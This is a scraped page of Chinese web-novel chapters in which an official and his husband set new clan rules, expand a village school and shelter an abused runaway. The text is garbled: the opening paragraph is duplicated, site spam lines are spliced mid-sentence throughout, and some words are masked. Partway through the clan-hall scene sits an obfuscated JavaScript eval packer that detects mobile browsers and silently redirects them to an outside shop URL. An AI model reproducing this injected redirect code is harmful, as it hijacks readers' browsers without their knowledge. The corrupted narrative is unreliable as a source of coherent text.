常金花嘱咐槿姑一会儿就将饭摆到门口来,他们在外头吃,然后对孟晚和宋亭舟说道:“娘又不傻,能直接带雨哥儿直接到那秀才家去?是想着去他亲戚家提上几嘴,问问家境,没成想还被她给缠上了。” 现在是京城里的大官了,比以前还要了不得。 孟晚笑着说:“二伯爷也太客气了,我们都是晚辈,您该怎么叫就怎么叫。” 听着孟晚说的漂亮话,族长一个劲儿的点头,“欸,快别在门口站着了,亭舟啊,带着你夫郎进屋坐。” 宋亭舟上门是大事,族长的几个儿子儿媳都跟进了屋,热情的招呼宋亭舟和孟晚,宋亭舟这些年身上威严愈盛,他们不敢主动搭话,便都和更温柔和善的孟晚聊天。 “晚哥儿,这有果子,你尝尝?” 孟晚推拒道:“谢谢三嫂,刚在家吃了不少西瓜,这会儿什么也吃不下了。” 又有人问:“孩子怎么没带过来玩一会儿?” “就是,晚哥儿,我见着你家阿砚和杏哥儿玩了,长得和你是一模一样的,真俊啊,长大了还不得迷倒一片的哥儿女娘?”其他人附和道。 “我有好友家在镇上,阿砚去住几日便回来。” 孟晚和他们寒暄了几句,宋亭舟见他身边围了这么多人,便站到他一侧捏着他的手,沉声开口打断了一屋子嘈杂的声音,“二伯爷,明天一早大家若是有空,我想召集宋氏一族的族人,和大家聊聊族规的事。” 二伯爷耳朵有些背,他几个儿子却听得分明。 “亭舟啊,你放心,今晚我们就把消息通知下去,明早你只管过来,保证大家伙都等着听你说话。”二伯爷的大儿子说道。 宋亭舟手上微微用力拉住孟晚,“既如此我们就先回去了。” 孟晚顺着宋亭舟的力道起身,两人没坐多久,谈好了事就回家,同宋亭舟说的那样,只是带他出来走走。 从族长家出来,又是浩浩荡荡一大群人要送,宋亭舟婉拒了,俩人前脚刚到家门口,后脚常金花带着雨哥儿也回来了。 “你俩这是去哪儿了?”常金花问。 今天太阳不大,但是闷热的厉害,孟晚接过宋亭舟给他倒得凉茶喝了一大口,勉强压下燥意,“去族长家一趟,你和雨哥儿怎么这么晚才回来?” 常金花也让儿子给自己倒一碗,“那家子也忒能说会道,我不过是稍稍打听了几句,就拉着雨哥儿不让走了,我好说歹说才放了手。” 雨哥儿坐在门洞下的凳子上,孟晚目光瞥过去,果然见他在揉捏着自己手腕,乡下妇人手劲儿都大,雨哥儿手腕被勒红了一圈。 他皱起眉,“是那个叫宋志家里人?” 门洞下放着张四方矮桌,枝繁给大家又添了新茶,雨哥儿道了声谢,回孟晚道:“不是,大姑先带我去宋志姑母家坐了坐。” 常金花嘱咐槿姑一会儿就将饭摆到门口来,他们在外头吃,然后对孟晚和宋亭舟说道:“娘又不傻,能直接带雨哥儿直接到那秀才家去?是想着去他亲戚家提上几嘴,问问家境,没成想还被她给缠上了。” 第62章 立族规 别说三泉村,周边但凡知道宋家底细的,就没有不想把儿女嫁过来同宋亭舟攀亲的,或是娶了宋家族人,家里但凡出点什么事也能指望指望京城里的大官老爷。 阿砚不过七岁,便有人明里暗里的问到常金花了,将她气得不行。 她带着雨哥儿上门,刚露出一点打听男方的架势,那家人恨不得就要当场留下雨哥儿成亲了。 “什么人啊,他那姑姑这样,宋治家里能是什么好人家?常金花气得口不择言。 孟晚:“嗯……虽然咱们也不能这么片面,凭一个亲戚就否定了人家。但确实要好好找人问问他的家境。 雨哥儿垂下头,“对不起大姑,给你和表哥表嫂添麻烦了。 常金花劝道:“唉,这有什么的,你别多想,总能给你找个合适的。 “就是,这个年纪的小官未婚难寻,秀才举子还不是一抓一大把。 雨哥儿这个年纪,等明年春闱的时候,全国举人入京,那时候再寻个良婿也好。 常金花就这么一个亲人了,雨哥儿行事也比他爹娘讨喜,孟晚替他打算一番也不是太费事。 岂料雨哥儿自己说道:“乡下很好,表嫂,若是不行便……便叫我留到谷阳县吧,这样还能照看义学的孩子们。 他不喜欢宋亭岳,要不然当初在谷阳县相处那几天后就会和孟晚提及了,如今这样说也不过是怕烦扰到常金花,孟晚厌烦了他。 家里经逢巨变,将他刚入京时的朝气给磨得一干二净了,看着有几分可怜。 孟晚没劝他,只是道:“再说吧。 晌午在家里吃了饭,下午宋亭舟又去了族学,他回来一趟说是陪陪孟晚,实际上大堆的事情等着办。 三泉村自从在宋亭舟做官后便和以前不一样了,时不时就有什么乡绅老爷让仆人架着高高大大的马车来。 镇上何秀才办得私塾,学生一年比一年招的多,更多的人则是带着家中长辈来三泉村求学。 当初宋亭舟临去岭南赴任之前,将族学托付给何童生,他在三泉村一待就是七年。可能是脱离了父亲,安心教学,也可能是宋亭舟当初对他说的话触动了他,前年何童生与宋亭岳等人一起考中 你的朋友正在书荒,快去帮帮他吧 了秀才,从此宋家族学更是门庭若市,甚至还有远处过来求学的人。 宋亭舟不在,族长不敢做主,族学里收的都是三泉村的人家,或是和宋家沾亲带故的,没有轻易接收外来学子。 何童生考上秀才之后,似乎再也不追求功名利禄,也不想再往上考举,一心在三泉村住下,研究圣贤书,教导学生学问和德行。 宋亭舟上门的时候,他刚要准备上课,学堂中坐着二十来个规规矩矩的学子,宋亭舟尚未走到屋内,隔着敞开的窗户,那些学子便已经发现了。 “夫子,好像有人找你。” “什么有人,是宋大人,我早上经过他家门口还见到过他。” “……宋大人?”何童生忙扭头朝外,果真见宋亭舟候在外面,忙走出门外相迎。 宋亭舟端端正正的行了个弟子礼,“何夫子,许久不见,可还安好?” 何夫子似乎没想到以宋亭舟现在的地位,竟然还愿意在他面前行弟子礼,受宠若惊的拱手回道:“好,一切都好。” 族学里的学子以小孩和少年人居多,且大致都是三泉村的人,中午都是各回各家吃饭休息,下午再来族学上课。这会儿他们坐在讲堂里东张西望,偷偷看着外面与何童生说话的宋亭舟,那一身为官者的威严气势,让人望而生畏,又满心向往,他们渴望自己长大后也能成为那样的人。 “……若是有更多孩子来读书,也是好的。” 宋亭舟想借鉴孟晚创办的松韵书院,将族学也改成一个海纳百川的书院,给普通贫困的农户,一个改头换面的机会。 像孟晚说的那样,不必人人都奔着大官使劲儿,简单学会了常用字,或是再往算学上进学,给店铺算算账,或是学学画画,给人家建造宅院房屋画画图纸。再杂一些还可请上几个木工、瓦匠、石匠、郎中等,学学百工之术,皆可闯出一方天地来。 整个禹国有多少读书人,每三年一次的会试又能录取多少人才,最后又有几人才能真正授官赴任呢? 人不读书万万不行,可一门心思只死读书也是寸步难行。 何夫子就是一个很好的路子,不能将自己这一生渐渐走窄,人这一生还该有许许多多的出路才对。 五行八作,都该百花齐放。 那群学子看似眼睛看着正前方,实则耳朵都在往这边伸。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 有人听宋亭舟的话若有所思深感明悟,有人却嗤之以鼻。 “读书不当官,读来还有什么用?士农工商,不入仕去做商贾工匠,那便是自甘**。 “就是,宋大人自己入朝为官,怎么还劝别人做工做商呢?岂不可笑? 有的人虽然也这么想,但是没说出来,大部分人都是尊敬宋亭舟的,这可是他们宋氏一族最有出息的人,不是宋大人,他们也不可能坐到干净的学堂上读书。 “什么**不**的,宋仁、宋立你们未免太狂妄了。 “宋大人也是为了咱们好,要是一直考不上,一直拖累家人还要硬是科考,还不如去镇上给人做账房先生呢! 都是不大的少年,甚至还有六七岁的孩童,说着说着就吵了起来。 听着学堂内的乱象,何夫子又羞又怒,“大人见笑了。 宋亭舟微微一笑,“生而为人,本就各不相同,纵然学生如今官居要职,却也不敢说自己讲的就一定是对的,拙见罢了。 他洒然拱手,“不耽误夫子讲学,学生这就告退了。 何夫子一路将宋亭舟送到族学大院的门口,等人走了,沉着脸从墙边找了根趁手的荆条进了学堂里。 “何夫子如何?宋亭舟回来后孟晚问道。 宋亭舟神色放松,“比曾经更豁达不少,等明早和族中商量过后,便可准备扩建族学的事。 孟晚从脑海中回想松韵学院的布局,男子进学到底比女娘和哥儿多,是要在松韵学院原有的基础上在扩建一番的,“我进屋画图纸去,应当不用外请旁人画图了。 宋亭舟拽住他,“还要找瓦匠、工匠、木匠,不急这一时半刻。 “也是,一切都要慢慢来。孟晚目光悠远。 做这种事,前期都是吃力不讨好的,松韵学院是,义学也是,如今的族学也是。它们后续可能会出现各种问题,尽管孟晚已经在竭力避免,或者想对策的,但仍不能保证十年、二十年之后,这样公益性质的建筑不会变了味道,就如同谷阳县的义学一样。 可他愿意试试。 赚这么多钱花又花不完,当是为后代积德了。 孟晚站起来伸了个懒腰,问路过的黄叶,“晚上吃什么啊? 黄叶报了几个菜名,孟晚有点腻 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 歪夏天他胃口本来就不怎么好炒菜热菜吃不下去凉菜就那几样也就打卤面能多吃点但天天吃又腻歪。 常金花看出来了“明日娘给你做米粉吃?” 孟晚双目一亮“成!” 第二日一早孟晚跟着宋亭舟去了宋家祠堂。宋家以前是没有祠堂的都是农户祖上几代也没有什么能人都是种地的也就是前些年宋亭舟出息了才建了祠堂。 今天祠堂里来的都是男人见宋亭舟堂而皇之的带着孟晚进来相互之间对视了几眼谁都没有出头先说不对。 宋亭舟地位超然他坐在为首的主位上孟晚就理所应当的坐在他右下手。族长颤颤巍巍的在宋亭舟左手边坐下轻咳了一声“咳……亭舟啊今天族里议事你夫郎坐在这里不大好吧?” 宋亭舟扫了一眼堂中那些偷偷打量孟晚的男人淡淡的说:“族学是我夫郎出钱建造的若是谁觉得不好就从椅子上站起来到院子里去听着。” 他没有刻意施压般扬起音调也没有威胁的意思可就是这样平淡的语气让那些窃窃私语的声音消失的无影无踪。 没人敢提出质问阶级相差太大哪怕这个祠堂不是孟晚花钱建的有宋亭舟的一句话也没有人敢质疑他身为哥儿该不该、能不能进祠堂。 没了宋亭舟他们只是一群在普通不过的农户 族长全当刚才他没有质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683501|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑过孟晚和蔼的出声道:“亭舟啊你昨天说的要找大伙聊聊族规的事是要怎么说?” 宋亭舟扫了眼堂中的人有站有坐“人不齐一家最少要出两人除非是没有娶妻的独户不然女娘和小哥儿一家也得来一个。族学那头昨天我已经和何夫子谈过了今天放假半日在族学读书的孩子与膳堂的孩子都来。” 众人面面相觑族学的孩子过来是正理家里的女娘小哥儿过来干啥?膳堂那群都是孤儿来了又有何用? 纵然心里万分不解但没人反驳都各自回家叫人。 等着也是无聊孟晚掏出块干净的抹布给宋亭舟他爹的牌位擦拭擦拭乡下不讲究这些祠堂平日没人来顶多漏雨了找人修修牌位上已经满是灰尘了。 “爹前阵子不是带阿砚去坟前看过您了吗?你怎么还没托梦让他把他的破娃娃给扔了?”孟晚莫名其妙开始许愿甚 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 至埋怨起素未谋面的公爹不办事。 宋亭舟:“……” 他在孟晚身后听着,莫名有点想笑。 “晚儿,给我吧。”宋亭舟要来孟晚手中的帕子,开始擦拭牌位,除了他爹,还有他爷奶,太爷,再往上就没有了,族长都不大记得了。 等族中人都陆陆续续的到齐,见了宋亭舟在亲自干活,也都跟着忙活起来,人多力量大,祠堂里很快一尘不染。 膳堂的小孩们干完活都自发站在孟晚身后,宋亭舟净了净手,坐在主位上沉声开口,“族学要重新修建扩大,以后族中孩童年满六岁必入族学,不论男女。” “啥!女娃子和小哥儿上学有啥用?”有个男人从座位上站起来。 其他人也是议论纷纷。 孟晚单手托腮,“有没有用不是你说了算的,宋家的家业都是我挣下来的,这些孩子入学前两年学费全免,你家若是看不上我这样的小哥儿,往后你家儿子孙子尽管去外头进学,没人拦着。” “我……这……我不是那个意思。”男人熄火了。 孟晚轻飘飘的一句话怼得大家哑口无言,场面沉默。 宋亭舟点了点旁边被叫来记录的几个学子,“都记上了吗?” 大部分孩子都愣着没动,只有一个面色黝黑的少年点头,“都记下了族叔。” 宋亭舟侧目看了一眼,少年笔下的字一板一眼,极为工整,确实是用心听了。 “你叫宋润?不错,留下吧,其余人回到自己爹娘身边去。” 那些少年不知自己失去了什么机会,想张嘴补救,又觉得拉不下面子,灰溜溜的退下,被同样不明所以的爹娘说了两句。 宋亭舟继续开口,“族学的事,事关宋家根本,不得马虎,刚才你们也都听到我夫郎所说,只要是我们宋家人,孩子们进学两年费用全免,两年后要不要继续读下去看你们自己,膳堂的孩子同样如此。” 大家都安静的听着,没有人再跳出来说别的,这一条就如此定下。 宋亭舟将自己六年前简陋制定的族规放到手边,“宋家族规需要重新制定,我接下来说的话,若有质疑之人,可站出来指出不赞同指出,众人一起商议。” 他话是这么说,但大致上没有人会反驳他的话。 “家族兴起,绵延数世,当以礼义仁智信为本。 “礼——乃孝悌伦理。奉养双亲,不得遗弃,友爱兄弟,相互扶持,尊长敬贤,不可冒犯。清明时节,祭祀先辈,不得懈怠。 “义——乃明是非、行事有度。宗族互助,济贫扶弱。族中公产需以资助孤寡、贫困为主,若遇天灾、人祸、疾病、官司等,患难相恤,合力相助。 “以仁、德二字规范宗族风气,五代之内近亲不得成婚。宋氏女子、哥儿不得自甘堕落,嫁人为妾。男子四十无子后方可纳妾,不论是何高位,也不可豢养外室。不得溺婴、不得残害子嗣,寡母亦可再嫁。 “智——乃辨善恶、明事理,读书以开智。孩童六岁需进学,识字明理,不论男女哥儿,皆要入学。若中童生者,族中资助三年,得秀才,再加三年,以此类推。” 宋亭舟说完上述直言,最后站起身道:“信守承诺,言出必行,不欺暗室,此为宋家族规。” 第63章 鲜廉寡耻 宋亭舟说的已经算简练了可大部分族人还是听得云里雾里宋亭舟便叫宋润用更直白的话语再解释几次终于将新族规给大家讲个明白。 有人小声嘟囔“以前没这么多规矩大家也是这么过来的啊。” 没有人喜欢被规矩束缚女娘和小哥儿最害怕被人说三道四轮到这些男人他们就不乐意了。 和孟晚坐主位、哥儿女娘进祠堂不一样族规他们懂怎么回事是真真正正要遵守的触及自身众人议论的声音很多。 孟晚趁机将细节处也与族长等人说了“往后宋家族谱不论男、女、哥儿只要是宋家人都要记在上头出嫁女和哥儿也要记。” 他话说完反对的声音都要将房顶给掀开了。 “我听别的村子有族谱的也没有记女娘小哥儿的出嫁了就是别人家的了 孟晚盯着说话那人“你听谁家的族谱说不记女娘小哥儿了?” 那人没想到反对的声音那么多孟晚独揪出他一个说事脖子一缩支支吾吾地说:“就王家。” 孟晚笑着建议“咱们宋家就是这样定的你若是不满可以搬去隔壁村子认王家的人当干爹。” “……噗嗤!”宋润在一旁没忍住笑出了声他是孟晚建造的膳堂里出来的孩子今年才十二再过两年就不能在膳堂里住了要自己另起门户。 不管其他族人如何他和膳堂里的其他孩子都是全然信服孟晚的。 宋亭舟站起来压下所有质疑的声音“从前没有族规是因为宋家只有这么几十户人家与我祖上有亲的也就那几户。大家偏居一隅女织男耕自给自足最远也就是去去县城。” “但我为官后族学兴起已经有族人考**名走出村子改换门庭。世上之事皆有两面欲求进取便需承受其代价。” 没人说话了若有希望谁想让儿孙跟着自己种地? 士农工商那是上层人说的。普通农户在地里刨食孩子连顿饱饭都吃不上谁还管什么高贵低贱?哪个不羡慕镇上有手艺的工匠做买卖的大老爷呢? 甚至做梦的时候也只敢梦见孩子有出息了去镇上做活娶个镇上的姑娘什么秀才相公、举人老爷、能断人生死的大官那是想都不敢想的。 如今族里的孩 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 子真的考上了三个但凡有一丁点远见的都将孩子送去了族学谁不想自己家里出个像宋亭舟那么有出息的大官呢?就算当不上大官如宋亭岳家那般中了个秀才家里的田税也可免了。 宋亭舟沉稳冷静的说:“齐盛二十五年昌平府知府罪臣吴墉获罪抄家他本人四肢与头颅分别被系于五匹烈马之上施行者驱使马匹以马之巨力将其身体活生生的撕裂。其父族、母族、妻族三族尽数被处以极刑一命归西。” 族长这会儿不耳聋了将宋亭舟所说听个清清白白他苍老的声音打着颤儿“一家子爹娘媳妇都……都**?” 孟晚那双瑰丽潋滟的眸子半垂着声音故意压得很低“一家子?你们以为三族叫什么?光是父族便囊括了父母、兄弟、子女、叔伯、侄子姑母的子女等同样都算父族。” 祠堂里此起彼伏着吸气的声音族长浑身一抖大夏天外头**的生生吓出一身冷汗了。 孟晚尤嫌不够接着用那种诡异的音调说道:“不光如此还有吴家母族罪臣吴墉的外祖父、外祖母、舅父、舅父的子女。妻族中的岳父、岳母、妻兄弟和他们的儿女……” 见所有人都支起耳朵听孟晚重重的叹了一声“这些人不论当时在做什么只要在禹国境内全都被抓起来**了。” 足足有一刻钟的时间 “咳……”宋亭舟轻咳一声继续说道:“无独有偶同年与其勾结的皇商祝家判了更重的株连九族。” 孟晚贴心的翻译“三族都砍了那么多人九族就更多了只要是祝家人活着出气的都要死。连小猫小狗米缸里的老鼠都要被活活烫死。” 大家听完汗**直立只觉得挤满了人的祠堂里阴风阵阵。 “哎呀妈呀!祝家我知道咱们镇上的盐行不就他们家开的吗?当时盐行里的人都被拉去**了。” 有人突然出声大喊将身边的人吓了一大跳。若说吴家离他们还算遥远闻名北地的祝家可就无人不知了。当时盐行被封大家还着实恐慌了一阵没米、没盐都是要**的。 宋亭舟没有坐下继续以极为平淡的语气说着让人惊悚的话“去年西边有一历经几代的大族全族山下人、奴、畜、共六千八百九十三口人尚在襁褓中的孩子年迈垂危的老人 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 正直青壮的男女小哥儿,无一幸免,全被处死。 “家族带来的便利和荣耀,一旦有所偏差,便会成为刺向大家的一柄利刃。宋亭舟的话在祠堂中回荡,紧随而来的便是孟晚阴恻恻的恐吓,“现在能安安稳稳的坐在这里享福,我夫君要是真的被连累在皇帝老爷面前犯了事,在座的有一个算一个,嫁出去的也跑不了。 …… 一个完善的族规就该有赏有罚,但宋亭舟显然不会制定私罚,他走之前对年迈的族长说:“以上族规若要再完善,必须要全族在内同意,才可往上增加条例。若有违背者,便带着亲人自成一户,不上宋氏族谱,往后也与宋家再无瓜葛。 不听劝就不要享受家族所带来的一切便利之处,分出去随便折腾,就是这个意思。 族规制定好,算是了了宋亭舟和孟晚一件大事,他们知道完善一个家族绝非一朝一夕,但好歹他们立下规矩,做到了带领族人踏出的第一步来。往后如何,只能看后代自己。 连声名赫赫的四大世家之一的乐正家,都能行差一步覆灭,其余昙花一现的小家族更是数不胜数。 宋亭舟是想提拔同族,孟晚想的是别让他们拖累了自己。 “回头让松山松樵跟着族长儿子去找工匠扩建族学吧,等族学初步建立起来,咱们是不是就要回京了?孟晚问宋亭舟。 两人这会儿刚从祠堂出来,日落西山,天边泛着橘光,宋亭舟边走边为孟晚打着扇子,“陛下只给我三月假期,如今时间已经过半,最多再过五日,我就要启程回京。 他声音中也带着不舍和无奈,但是朝堂事多,新帝明显要重用他,三月的假还是他据理力争得来的,万万不能再多耽搁。 来时宋亭舟就是快马加鞭赶路,孟晚和常金花两个月的路程,他日夜兼程一个月就回来了,回京也是要赶路,注定要先行一步离开。 “唉,我看娘在老家还没待够呢,她难得回来一趟,我可能要多陪她待上两月。孟晚一想到要和宋亭舟分开就郁闷,但让他放常金花自己在老家又不放心。 两人正说着常金花,就见有人在前面小路上对常金花拉拉扯扯。宋亭舟脸色一沉,大步走过去将人扯开,孟晚把常金花拉到自己身后,“怎么回事啊娘?这俩人是谁? 就是没有太阳,伏天从早到晚也没个凉快的时候,常金花被撕扯了一头的汗,汗水顺着 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 额角流下来蛰的她眼睛疼她没好气的说:“宋治那个大姑和二姑和疯婆子似的听不懂人话。” 那俩女人本来被宋亭舟隔开了听到常金花这话又往前够了两下“嫂子你怎么能这么说话呢?我们不也是为了两个孩子的亲事着急吗?府城那边我都去信了你看亭舟他们都在等宋治回来就把两孩子的亲事给办了吧!” “放**屁!”常金花难得破口大骂“谁和你家办亲事!谁同意了!” 孟晚轻抚她后背“娘别气你先回家去这里有我和夫君在没事的。” 常金花今日还要给孟晚做米粉吃这会儿天色确实不早了她 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宋治小姑被吓住了他大姑却是个寡廉鲜耻的泼皮只管一个劲儿的要和宋亭舟家攀亲“晚哥儿说的是什么话咱们都快成一家人了说什么告不告的让人听了笑话。快叫雨哥儿备备嫁妆等我们宋治回来了俩孩子也好成亲他家里的房子也都破了听说你们要找工匠还不如顺便给他家也起一座我们家就与他家挨着呢不妨事的话就都盖了我老了还能忙活着带带孩子。” 孟晚看了她两眼突然笑了“你不用跟我装疯卖痴只管等着就是了。” 宋治小姑一听就知道这不是什么好话她嫁到了别的村子 听说看这本书的人都是很幸运的,分享后你的运气会更棒 谁承想都是她大姐在纠缠人家。 眼见着她还要再追人家,她忙拦住了人,“大姐,你这是做什么!人家没有那个意思你再追上去真得罪了人咋办!” “你懂个屁,把事儿传出去,那雨哥儿坏了名声,除了宋治他还能嫁谁?宋治可是咱们家的秀才相公,想嫁的千金小姐都排到村口去了,娶他这么个小哥儿还亏待他了?”宋治大姑一副油盐不进的样子。 宋治小姑也知道自己大姐是个什么德行的人,气得指着她的手指都在抖,“你……你……”她不知该怎么说自己大姐,也不想再跟着掺和,甩着袖子气跑回家了。 宋亭舟和孟晚回家的时候直奔回屋,“那宋治有脑子考上秀才,就不会不知道他大姑是什么德行,定会先写信回来问问情况。” “我修书一封到府学去,让宋治回乡管管他亲戚,不然往后他再进一步,他这大姑也是祸端。”宋亭舟什么人没遇见过,也知道对付这种泼皮无赖一样的人光是讲理是讲不通的,也没必要和她拉扯,从根源上解决才是正理。 两人商量了几句,倒也没必要因为这种人生气,只是觉得膈应人。雨哥儿这婚事也确实算一波三折了,好好一个容貌清秀的小哥儿,搞得和嫁不出去似的。 孟晚本来不算喜欢他,却也觉得他着实可怜了点。 “晚哥儿,和大郎出来吃饭了。”常金花在院子里喊他们。 昨天孟晚想吃米粉,常金花今天一大早就和槿姑去磨米浆,这会儿一碗碗加了卤子的米粉被枝繁他们端上桌来。 “快尝尝,也没有酸豆角和酸笋,卤子是土豆茄子卤。”常金花这会儿早就消了气,她在后头端上来一大盆香喷喷的卤肉,里头还有鸡蛋和心肝等下水,都被切成厚片码着。 宋亭舟回来前孟晚常金花都是用盘子碗,他回来后也方便,一家子就着盆子吃。 “没有酸笋我也爱吃,娘你也快坐下吃饭。”孟晚迫不及待道。 等常金花坐下,一家子坐在门洞下端起碗来吃饭,孟晚挑起一筷子沾满卤汁的米粉嗦了一口,口感顺滑又劲道,他瞬间感觉自己在这个炎热的夏天活过来了。 “娘,太好吃了!” 第64章 雀哥儿 孟晚这次带了松山松樵来,他把图纸画的差不多,就将其交给黄叶,让松山松樵他俩跟着黄叶多学学。也免得那些男子轻慢黄叶。 身边得力的人越多,孟晚越不用万事亲力亲为,也有空和宋亭舟单独待上几天,两人或是在村里转转,或是陪常金花晒晒山货蘑菇。 “宋治他大姑这几天怎么这么安生?”孟晚坐在小木凳上捡宋亭舟砸好的山杏仁,这东西可以入药,也可以泡淡和水芹花生一起腌咸菜。 宋亭舟挽起袖子,露出紧实有力的小臂握着石块,极为有耐心的一颗颗的砸杏仁,“可能是有人劝服她了吧。” 当日宋家祠堂内召集族人,每家最少都去了两人,宋治大姑一家也去了,是她男人和她儿子儿媳妇。 “她那样的人能被人劝服了?”常金花投洗嫩绿的水芹菜,闻言冷笑道。 “你们一家子说啥呢?”宋六婶拎了个沉甸甸的水桶上门,蚩羽从墙头上翻下来接过去,“六婶,我帮你提。” 宋六婶怎么也没想到他会从墙头下来,吓了一大跳,自拍自己胸脯,“你这孩子,咋还能从墙上下来呢?” 当年建房的时候,家里的院子就加高过,寻常笨手笨脚的人爬是爬不上去的。 蚩羽嘿嘿笑了两声,拎着桶就放到了井边。 常金花给宋六婶拿了个凳子,“又给我拿啥了?家里啥都不缺,你自己留着吃就得了。” 宋六婶一屁股坐下,揉了揉手上的红印,“我能有啥好东西给你?大力他爹早上网了两兜子河虾回来,给你拎了一桶,还有两条鲤鱼,你给孩子们炖着吃吧。” 常金花嗔了一句,“自我回来,你天天给拿菜拿鱼的,家底都搬到我家来了吧?” 宋六婶叫她说的不好意思,她家有如今的好日子多亏了常金花和孟晚,给的这点东西都是自家的能值几个铜板? 她岔开话头,“刚才你和晚哥儿说啥了?” 常金花把洗好的水芹往簸箩上头晾,“还能说谁,宋治他大姑,这两天不知道咋了消停不少,没在我们家门口晃荡,吓得雨哥儿都不敢出屋。” 这几天其实有不少人都看见宋治大姑缠着常金花,一打听就知道怎么回事,不过同村这么多年,都知道宋治大姑什么德行,宋家又是什么光景,倒也没传出什么雨哥儿的闲话,大多是笑话宋治大姑痴心妄想的。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 宋六婶也帮她搭手“你说她啊他们一家子去杨家村了她家哥儿不是嫁过去了吗?应该去小儿子家了。” 孟晚的小簸箕里捡了一层整齐的杏仁他扬起脸问道:“去女婿家?一家子都去了?” 他穿了一身颜色浅淡的薄衫鼻尖上冒着细汗宋亭舟砸完杏仁洗手回来顺手端了杯冰镇的酸梅汤喂他然后自上而下的看他没有一丝瑕疵的白嫩皮肤孟晚上挑的双眸如沁了水一般透亮沾了冰饮的唇色殷红显得格外乖巧可人。 宋亭舟不动声色的曲起食指楷去他鼻尖的汗**也不好太亲密他仰头将孟晚剩下半碗酸梅汤喝了紧挨孟晚坐下同他一起捡小簸箕里的杏仁壳。 明明没什么出格的动作却有一种隔绝他人的氛围感叫宋六婶眼睛不好意思往他们那儿看只管跟常金花说话“说的是呢?不是她小儿子出了啥事吧?” 下人见常金花不忙活了便在她面前支了张小方桌苇莺和云雀端了凉茶、酸梅汤、和两盘子果子放上来招待宋六婶。 常金花把葡萄摆在宋六婶面前“生孩子了?” 山上都是野葡萄常金花这是从镇上买来给孟晚吃的又大又紫红看着是熟透了的。宋六婶家虽然富裕了但家里的好东西也都可着孩子吃她和宋六叔吃苦惯了买半斤糕点都只舍得吃半块她捏了颗葡萄细嚼慢咽“小哥儿怀身子哪儿那么容易的他儿子才嫁过去一年这么痛快就能生了?” “也是那能出啥事了?”常金花以前不是爱说三道四的人因为身为寡妇惧怕是非后来孟晚爱和她说些外面的事她听惯了这会儿竟然还主动问了宋六婶一句。 宋六婶和宋六叔没荒废家里的地一年到头总回来杨家村离三泉村又不远因此倒也听说过几句她眼睛瞟了一眼宋亭舟家隔壁院儿“嫂子还记得田家跑了的竹哥儿不?他是怎么跑的村里谁不知道他们田家的男人只会窝里横竹哥儿不跑田兴**他公婆也不能饶了他。宋治大姑给雀哥儿找的听说也是那么个货色。 常金花听到田家的事就厌恶那都是坏事做多了糟了报应了要不李长香和她差不多的岁数怎么年纪不大就没了? 她对村里的几个小哥儿女娘还有印象宋六婶说完她想了会儿 盘子里的葡萄 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 被宋六婶吃了大半苇莺见她爱吃又洗了一串送上来。宋六婶不好意思的笑笑每次见到这么一院子的下人她都怪不自在的等苇莺走了她才说:“毕竟是小哥儿不好找太出彩的人家杨家村这家子家底算是厚的。” 常金花不赞同“穷点找个知心人日子也不是过不下去杨家村那边是富点也不至于把孩子嫁到那样的人家。” 孟晚插了一嘴“兴许嫁之前不知道呢?” “晚哥儿说的也有理嫁过去之前谁知道是人是鬼的。”宋六婶说:“雀哥儿去年才嫁过去一年里就跑回过娘家三趟刚开始宋治大姑还带人去找过之后两回就不管了。” 嫁出去的女娘小哥儿就是人家的了去一次两次还好去的多了叫人嗤笑。 他们正在院里说着闲话门口就刚巧有一道急促的脚步声后头有人在追他先是望了望村口第一家宋六叔家见门是关着的又往前跑正好和坐在门洞下的孟晚对上了眼睛。 那是个穿着麻布衣裳的小哥儿身上还算整齐但被布包包着的头发散开大半半边脸肿起来多高 他见了孟晚先是一愣然后上前两步想要求助随后突然发现了孟晚身边还有一个男人对方气势太过锋利他下意识脚步后缩。 撑到现在这个小哥儿的身体已经是**之末刚才停下来那一下整个人的精气神都被抽走了才退出一步身形便已经摇摇欲坠。 “你是谁家的?”孟晚问了句。 村口已经追过来七八个人小哥儿捂着额头语气艰难又带着惊慌“我是宋大耿家的雀哥儿求求……求你们让我进去吧……再回杨家村我会死的。” “雀哥儿?”常金花没想到刚提到他人就真跑到她家门口来了。 宋六婶往前走几步“哎呦还真是雀哥儿你这孩子怎么又跑回来了咋叫人打成这样你爹娘哥哥呢?” 她把人扶住一叠声的问常金花忙道:“快别问了看这孩子这样都要倒了他六婶你给扶进来歇会儿。” 这边宋六婶刚给雀哥儿扶到院里坐下追过来的那些人就寻到了门口。 “刚才你家是不是进去一个小哥儿?” 孟晚和宋亭舟门神似 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的守着,孟晚把手上的簸箕放到一边,随口说道:“没看见。” 问话的汉子一噎,显然没想到孟晚会睁眼说瞎话,“刚才我们都看见了,雀哥儿就是进了你家门。” 这群人眼生的很,应当都是杨家村的,孟晚漫不经心地说:“看见了你还问,就在我们家怎么了?” 他态度着实嚣张,这伙人本就是带着火气来的,一听他这话撸袖子抻胳膊就要直接硬闯。离孟晚最近的一个男人被宋亭舟踢了出去,剩下的都被蚩羽给揍了一顿。 一开始跟孟晚搭话的男人挨了打更是一肚子气,他站在门口不敢向前,冲着院里嚷嚷,“雀哥儿,你现在跟我回去还好说,再从院里躲着,等回了家我保管给你好果子吃!” 这男人想必就是雀儿男人,长相并不凶恶,相反模样还算清秀,可惜说起威胁的话来满脸狰狞,一看就不是良善之辈。 